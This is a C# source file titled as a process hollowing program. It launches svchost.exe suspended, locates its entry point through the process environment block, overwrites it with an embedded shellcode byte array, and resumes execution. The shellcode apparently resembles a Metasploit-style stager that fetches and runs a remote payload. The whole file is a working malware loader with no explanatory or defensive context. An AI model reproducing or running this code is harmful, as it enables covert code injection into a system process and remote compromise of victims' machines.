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Process_Hollowing_5421.cs
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Process_Hollowing_5421.cs
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using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApp3
{
class Program
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
struct STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION
lpProcessInformation);
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess,
int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,
uint ProcInfoLen, ref uint retlen);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
[Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten
);
static void Main(string[] args)
{
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero,
IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);
byte[] addrBuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
byte[] data = new byte[0x200];
ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);
uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);
uint opthdr = e_lfanew_offset + 0x28;
uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);
IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);
byte[] buf = new byte[] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x48,0x31,0xd2,0x51,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x56,0x48,
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0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
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0x41,0x51,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x44,0x8b,
0x40,0x20,0x8b,0x48,0x18,0x50,0x49,0x01,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,
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0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
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0x46,0x4a,0x52,0x4e,0x75,0x49,0x41,0x6a,0x35,0x54,0x6a,0x31,0x59,0x6c,0x4e,
0x6b,0x58,0x71,0x37,0x54,0x6d,0x4a,0x6c,0x73,0x4f,0x42,0x70,0x68,0x4c,0x66,
0x45,0x68,0x6c,0x45,0x35,0x48,0x5a,0x51,0x7a,0x42,0x42,0x69,0x37,0x79,0x7a,
0x33,0x50,0x46,0x30,0x68,0x33,0x34,0x65,0x41,0x49,0x30,0x66,0x67,0x64,0x41,
0x69,0x50,0x41,0x79,0x34,0x58,0x32,0x41,0x65,0x42,0x37,0x32,0x35,0x5f,0x53,
0x61,0x61,0x41,0x36,0x59,0x49,0x36,0x39,0x51,0x30,0x35,0x64,0x31,0x69,0x57,
0x58,0x77,0x4b,0x7a,0x59,0x64,0x64,0x6f,0x42,0x79,0x71,0x46,0x68,0x67,0x6e,
0x76,0x69,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,
0xb8,0x00,0x32,0xa8,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,
0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x48,0x89,0xf1,
0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x00,0x00,0x49,0x89,0xe0,0x6a,0x04,0x41,
0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x00,0x00,0x00,0x00,0xff,0xd5,0x4d,0x31,
0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,
0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,
0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,
0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xaa,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,
0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,
0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,
0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,
0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,
0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,
0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0xbb,0xe0,0x1d,
0x2a,0x0a,0x41,0x89,0xda,0xff,0xd5 };
WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);
ResumeThread(pi.hThread);
}
}
}